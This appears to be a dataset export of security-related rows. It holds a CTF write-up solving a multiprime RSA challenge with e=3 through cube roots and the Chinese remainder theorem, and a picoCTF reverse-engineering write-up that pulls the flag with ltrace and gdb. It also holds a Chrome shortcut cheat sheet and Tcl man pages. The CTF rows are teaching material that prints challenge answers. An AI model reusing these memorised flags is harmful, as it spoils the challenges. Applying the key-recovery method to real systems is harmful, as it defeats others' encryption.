text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
## RSA? (Crypto, 2p)
###ENG
[PL](#pl-version)
We get a ciphertext that seems to be encrypted via RSA from openssl commandline.
We also have access to the public key, and therefore we proceed like with standard RSA cipher, by recovering parameters:
`e = 3`
`n = 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067`
And using YAFU we factor the modulus into:
`p = 26440615366395242196516853423447`
`q = 27038194053540661979045656526063`
`r = 32581479300404876772405716877547`
We get 3 prime numbers. This is still fine, this could simply be multiprime RSA.
There is nothing fancy about it, the totient is simply `(p-1)(q-1)(r-1)` and rest of the calculation goes as usual.
But it doesn't, because we find that modular multiplicative inverse does not exist.
Reason for this is apparent: `gcd(e, totient) = 3` and it should be 1.
This is not the first time we encounter similar case (see https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/crypto_314_rsabin#eng-version ) so we have some idea of how to approach this.
We need to get rid of this 3 before we could apply RSA decoding.
This means the encryption is:
`ciphertext = plaintext^e mod n = (plaintext^e')^3 mod n`
So if we could peform a modular cubic root (mod n) of both sides of the equation we could then apply RSA decoding with `e' = e/3`.
Here is't even easier since `e=3` and therefore `e' = e/3 = 1` which means our encryption is simply:
`ciphertext = plaintext^3 mod n`
So the whole decryption requires modular cubic root (mod n) from ciphertext.
Some reading about modular roots brings us to conclusion that it's possible to do, but only in finite fields.
So it can't be done for `n` that is a composite number, which we know it is since it's `p*q*r`.
This problem brings to mind Chinese Reminder Theorem ( https://en.wikipedia.org/wiki/Chinese_remainder_theorem )
We consider this for a while and we come up with the idea that if we could calculate cubic modular root from ciphertext (mod prime) for each of our 3 primes, we could then calcualte the combined root.
We can to this with Gauss Algorithm ( http://www.di-mgt.com.au/crt.html#gaussalg )
So we proceed and calculate:
`pt^3 mod p = ciperhtext mod p = 20827907988103030784078915883129`
`pt^3 mod q = ciperhtext mod q = 19342563376936634263836075415482`
`pt^3 mod r = ciperhtext mod r = 10525283947807760227880406671000`
And then it took us a while to come up with solving this equations for pt (publications mention only some special cases for those roots...)
Finally we figured that wolframalpha had this implemented, eg:
http://www.wolframalpha.com/input/?i=x^3+%3D+20827907988103030784078915883129+%28mod+26440615366395242196516853423447%29
This gives us a set of possible solutions:
```python
roots0 = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735]
roots1 = [19616973567618515464515107624812]
roots2 = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377]
```
We apply Gauss Algoritm to those roots:
```python
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient * x, x
y, lasty = lasty - quotient * y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
def gauss(c0, c1, c2, n0, n1, n2):
N = n0 * n1 * n2
N0 = N / n0
N1 = N / n1
N2 = N / n2
d0 = modinv(N0, n0)
d1 = modinv(N1, n1)
d2 = modinv(N2, n2)
return (c0*N0*d0 + c1*N1*d1 + c2*N2*d2) % N
roots0 = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735]
roots1 = [19616973567618515464515107624812]
roots2 = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377]
for r0 in roots0:
for r1 in roots1:
for r2 in roots2:
M = gauss(r0, r1, r2, p, q, r)
print long_to_bytes(M)
```
Which gives us the flag for one of the combinations: `0ctf{HahA!Thi5_1s_n0T_rSa~}`
###PL version
Dostajemy zaszyfrowany tekst oraz informacje która wskazywałaby że szyfrowano go za pomocą RSA przy pomocy openssl.
Dostajemy także klucz publiczny, więc postępujemy tak jak w klasycznym RSA, zaczynając od odzyskania parametrów klucza:
`e = 3`
`n = 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067`
A za pomocą YAFU dokonujemy faktoryzacji modulusa:
`p = 26440615366395242196516853423447`
`q = 27038194053540661979045656526063`
`r = 32581479300404876772405716877547`
Dostajemy 3 liczby pierwsze. To jeszcze nie problem, to może nadal być zwykłe RSA oparte o wiele liczb pierwszych (multiprime RSA).
Nie ma tu nic skomplikowanego, po prostu funkcja totien to teraz `(p-1)(q-1)(r-1)` a cała reszta obliczeń postępuje tak jak zawsze.
Niestety nie w tym przypadku - okazuje sie że modinv nie istnieje.
Powód jest dość oczywisty: `gcd(e, totient) = 3` a powinien wynosić 1.
To nie pierwszy raz kiedy spotykamy się z podobną sytuacją (patrz: https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/crypto_314_rsabin#eng-version ) więc mamy pewne pojęcie jak dalej postępować.
Potrzebujemy pozbyć się tej 3 zanim będziemy mogli dekodować RSA.
To oznacza że nasze szyfrowanie to:
`ciphertext = plaintext^e mod n = (plaintext^e')^3 mod n`
Więc jeśli wykonamy pierwiastkowanie trzeciego stopnia (modulo n) obu stron równania, dostaniemy wartość którą będzie można zdekodować przy użyciu RSA dla `e' = e/3`.
W naszym przypadku jest nawet prościej bo `e = 3` więc `e' = e/3 = 1` co oznacza że szyfrowanie to tutaj po prostu:
`ciphertext = plaintext^3 mod n`
Więc cała operacja deszyfrowania wymaga jedynie pierwiastka trzeciego stopnia (mod n) z tekstu zaszyfrowanego.
Trochę czytania na temat pierwiastkowania modularnego pozwala nam stwierdzić, że taka operacja jest możliwa w zasadzie tylko dla ciał skończonych (finite field). Więc w szczególności nie może być wykonane dla naszego `n`, które jest liczbą złożoną bo wiemy, że wynosi `p*q*r`.
Ten problem przywodzi na myśl Chińskie Twierdzenie o Resztach ( https://en.wikipedia.org/wiki/Chinese_remainder_theorem )
Po rozważeniu tego problemu przez pewien czas, doszliśmy do wniosku, że jeśli możemy policzyć pierwiastek trzeciego stopnia (mod liczba pierwsza) dla każdej z naszych 3 liczb, będziemy mogli wyliczyć też pierwiastek złożony.
Możemy to zrobić przy użyciu algorytmu Gaussa ( http://www.di-mgt.com.au/crt.html#gaussalg ).
Przystępujemy więc do działania i wyliczamy:
`pt^3 mod p = ciperhtext mod p = 20827907988103030784078915883129`
`pt^3 mod q = ciperhtext mod q = 19342563376936634263836075415482`
`pt^3 mod r = ciperhtext mod r = 10525283947807760227880406671000`
Wyliczenie tych pierwiastków zajęło nam trochę czasu ponieważ wiekszość publikacji wspomina jedynie o metodach pierwiastkowania mających zastosowanie dla wąskiego grona przypadków.
W końcu wpadliśmy na pomysł, że wolframalpha ma to już zaimplementowane:
http://www.wolframalpha.com/input/?i=x^3+%3D+20827907988103030784078915883129+%28mod+26440615366395242196516853423447%29
To daje nam potencjalne zbiory rozwiązań:
```python
roots0 = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735]
roots1 = [19616973567618515464515107624812]
roots2 = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377]
```
Stosujemy algorytm Gaussa dla tych pierwiastków:
```python
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient * x, x
y, lasty = lasty - quotient * y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
def gauss(c0, c1, c2, n0, n1, n2):
N = n0 * n1 * n2
N0 = N / n0
N1 = N / n1
N2 = N / n2
d0 = modinv(N0, n0)
d1 = modinv(N1, n1)
d2 = modinv(N2, n2)
return (c0*N0*d0 + c1*N1*d1 + c2*N2*d2) % N
roots0 = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735]
roots1 = [19616973567618515464515107624812]
roots2 = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377]
for r0 in roots0:
for r1 in roots1:
for r2 in roots2:
M = gauss(r0, r1, r2, p, q, r)
print long_to_bytes(M)
```
Co daje nam flagę dla jednej z kombinacji: `0ctf{HahA!Thi5_1s_n0T_rSa~}`
|
sec-knowleage
|
# Let's get dynamic
Category: Reverse Engineering, 150 points
## Description
> Can you tell what this file is reading?
An assembly file was attached.
```assembly
.file "chall.c"
.text
.section .rodata
.align 8
.LC0:
.string "Correct! You entered the flag."
.LC1:
.string "No, that's not right."
.text
.globl main
.type main, @function
main:
.LFB5:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
pushq %rbx
subq $296, %rsp
.cfi_offset 3, -24
movl %edi, -292(%rbp)
movq %rsi, -304(%rbp)
movq %fs:40, %rax
movq %rax, -24(%rbp)
xorl %eax, %eax
movabsq $4137700413143496212, %rax
movabsq $3668774195188830448, %rdx
movq %rax, -144(%rbp)
movq %rdx, -136(%rbp)
movabsq $-3415231997387159298, %rax
movabsq $3180240096696696075, %rdx
movq %rax, -128(%rbp)
movq %rdx, -120(%rbp)
movabsq $-5717177924950513641, %rax
movabsq $-3967246834314051972, %rdx
movq %rax, -112(%rbp)
movq %rdx, -104(%rbp)
movw $97, -96(%rbp)
movabsq $6214777055764401527, %rax
movabsq $8184225536171504527, %rdx
movq %rax, -80(%rbp)
movq %rdx, -72(%rbp)
movabsq $-8364134581669616439, %rax
movabsq $5916610601309242417, %rdx
movq %rax, -64(%rbp)
movq %rdx, -56(%rbp)
movabsq $-2598080388612165765, %rax
movabsq $-4252370736625094538, %rdx
movq %rax, -48(%rbp)
movq %rdx, -40(%rbp)
movw $63, -32(%rbp)
movq stdin(%rip), %rdx
leaq -208(%rbp), %rax
movl $49, %esi
movq %rax, %rdi
call fgets@PLT
movl $0, -276(%rbp)
jmp .L2
.L3:
movl -276(%rbp), %eax
cltq
movzbl -144(%rbp,%rax), %edx
movl -276(%rbp), %eax
cltq
movzbl -80(%rbp,%rax), %eax
xorl %eax, %edx
movl -276(%rbp), %eax
xorl %edx, %eax
xorl $19, %eax
movl %eax, %edx
movl -276(%rbp), %eax
cltq
movb %dl, -272(%rbp,%rax)
addl $1, -276(%rbp)
.L2:
movl -276(%rbp), %eax
movslq %eax, %rbx
leaq -144(%rbp), %rax
movq %rax, %rdi
call strlen@PLT
cmpq %rax, %rbx
jb .L3
leaq -272(%rbp), %rcx
leaq -208(%rbp), %rax
movl $49, %edx
movq %rcx, %rsi
movq %rax, %rdi
call memcmp@PLT
testl %eax, %eax
je .L4
leaq .LC0(%rip), %rdi
call puts@PLT
movl $0, %eax
jmp .L6
.L4:
leaq .LC1(%rip), %rdi
call puts@PLT
movl $1, %eax
.L6:
movq -24(%rbp), %rcx
xorq %fs:40, %rcx
je .L7
call __stack_chk_fail@PLT
.L7:
addq $296, %rsp
popq %rbx
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE5:
.size main, .-main
.ident "GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0"
.section .note.GNU-stack,"",@progbits
```
## Solution
First, we'll compile the assembly file:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Lets_get_dynamic]
└─$ gcc chall.S -o chall
```
Then we'll run it:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Lets_get_dynamic]
└─$ ./chall
test
Correct! You entered the flag.
```
Well, that doesn't seem right. Perhaps running it with `ltrace` will reveal something new?
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Lets_get_dynamic]
└─$ ltrace ./chall
fgets(test
"test\n", 49, 0x7faf0ae14980) = 0x7ffd4e0ebac0
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
strlen("\024\266gp\232\020l9\360\220YI\261\032\3522\376\3100\322\227\250\232\320\v}\017\260\204{","...) = 49
memcmp(0x7ffd4e0ebac0, 0x7ffd4e0eba80, 49, 0x7ffd4e0eba80) = 4
puts("Correct! You entered the flag."Correct! You entered the flag.
) = 31
+++ exited (status 0) +++
```
We can see a `memcmp`, let's set a breakpoint there:
```console
gef> b *0x00005555555552f6
Breakpoint 2 at 0x5555555552f6
gef> c
gef> printf "%s\n", $rdi
test
gef> printf "%s\n", $rsi
picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_14bfa700}
```
The flag: `picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_14bfa700}`
|
sec-knowleage
|
---
title: Google Chrome
date: 2022-11-23 16:23:31.696190
background: bg-[#ca4732]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 65 keyboard shortcuts found in Google Chrome
---
Keyboard Shortcuts {.cols-2}
------------------
### Tab and window
Shortcut | Action
---|---
`Ctrl` `N` | Open a new window
`Ctrl` `Shift` `N` | Open a new window in Incognito mode
`Ctrl` `T` | Open a new tab, and jump to it
`Ctrl` `Shift` `T` | Reopen the last closed tab, and jump to it
`Ctrl` `Tab` | Jump to the next open tab
`Ctrl` `Shift` `Tab` | Jump to the previous open tab
`Ctrl` `1-8` | Jump to a specific tab
`Ctrl` `9` | Jump to the last tab
`Alt` `Home` | Open your home page in the current tab
`Alt` `Left` | Open the previous page from your history in the current tab
`Alt` `Right` | Open the next page from your history in the current tab
`Ctrl` `W` | Close the current tab
`Ctrl` `Shift` `W` | Close the current window
`Alt` `Space` `N` | Minimize the current window
`Alt` `Space` `X` | Maximize the current window
`Alt` `F4` | Close the current window
`Ctrl` `Shift` `Q` | Quite Google Chrome
{.shortcuts}
### Google Chrome features
Shortcut | Action
---|---
`Alt` `F` | Open the Chrome menu
`Ctrl` `Shift` `B` | Show or hide the Bookmarks bar
`Ctrl` `Shift` `O` | Open the Bookmarks manager
`Ctrl` `H` | Open the History page in a new tab
`Ctrl` `J` | Open the Downloads page in a new tab
`Shift` `Esc` | Open the Chrome Task Manager
`Shift` `Alt` `T` | Set focus on the first item in the Chrome toolbar
`F10` | Set focus on the last item in the Chrome toolbar
`F6` | Switch focus to unfocused dialog (if showing)
`Ctrl` `F` | Open the Find Bar to search the current page
`Ctrl` `G` | Jump to the next match to your Find Bar search
`Ctrl` `Shift` `G` | Jump to the previous match to your Find Bar search
`F12` | Open Developer Tools
`Ctrl` `Shift` `Delete` | Open the Clear Browsing Data options
`F1` | Open the Chrome Help Center in a new tab
`Ctrl` `Shift` `M` | Log in a different user or browse as a Guest
`Alt` `Shift` `I` | Open a feedback form
{.shortcuts}
### Address bar
Shortcut | Action
---|---
`(type)` `Enter` | Search with your default search engine
`(type)` `Tab` | Search using a different search engine
`Ctrl` `Enter` | Add www. and .com to a site name, and open in the current tab
`Alt` `Enter` | Open a new tab and perform a Google search
`Ctrl` `L` | Jump to the address bar
`Ctrl` `K` | Search from anywhere on the page
`Shift` `Delete` | Remove predictions from your address bar
{.shortcuts}
### Webpage shortcuts
Shortcut | Action
---|---
`Ctrl` `P` | Open options to print the current page
`Ctrl` `S` | Open options to save the current page
`Ctrl` `R` | Reload the current page
`Ctrl` `Shift` `R` | Reload the current page, ignoring cached content
`Esc` | Stop the page loading
`Tab` | Browse clickable items moving forward
`Shift` `Tab` | Browse clickable items moving backward
`Ctrl` `O` | Open a file from your computer in Chrome
`Ctrl` `U` | Display non-editable HTML source code for the current page
`Ctrl` `D` | Save your current webpage as a bookmark
`Ctrl` `Shift` `D` | Save all open tabs as bookmarks in a new folder
`F11` | Turn full-screen mode on or off
`Ctrl` `+` | Make everything on the page bigger
`Ctrl` `-` | Make everything on the page smaller
`Ctrl` `0` | Return everything on the page to default size
`Space` | Scroll down a webpage, a screen at a time
`Shift` `Space` | Scroll up a webpage, a screen at a time
`Home` | Go to the top of the page
`End` | Go to the bottom of the page
`Shift` `(scroll mouse)` | Scroll horizontally on the page
`Ctrl` `Left` | Move your cursor to the front of the previous word in a text field
`Ctrl` `Right` | Move your cursor to the back of the next word in a text field
`Ctrl` `Backspace` | Delete the previous word in a text field
`Alt` `Home` | Open the Home page in the current tab
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Google Chrome](https://support.google.com/chrome/answer/157179?hl=en) _(support.google.com)_
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: eval.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: eval.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH eval 3tcl "" Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
eval \- 求一个 Tcl 脚本的值
.SH "总览 SYNOPSIS"
\fBeval \fIarg \fR?\fIarg ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
\fBEval\fR 接受一个或多个参数,它们一起组成一个包含一个或多个命令的 Tcl 脚本。\fBEval\fR 用与 \fBconcat\fR命令相同的方式连接(concatenate)它所有的参数,把连接后的字符串递归的传递给Tcl 解释器,并返回这次求值的结果(或它产生的任何错误)。
.SH "关键字 KEYWORDS"
concatenate, evaluate, script
.SH "参见 SEE ALSO"
catch(n), concat(n), error(n), subs(n), tclvars(n)
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/07/10
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
'\"
'\" Copyright (c) 1990-1994 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
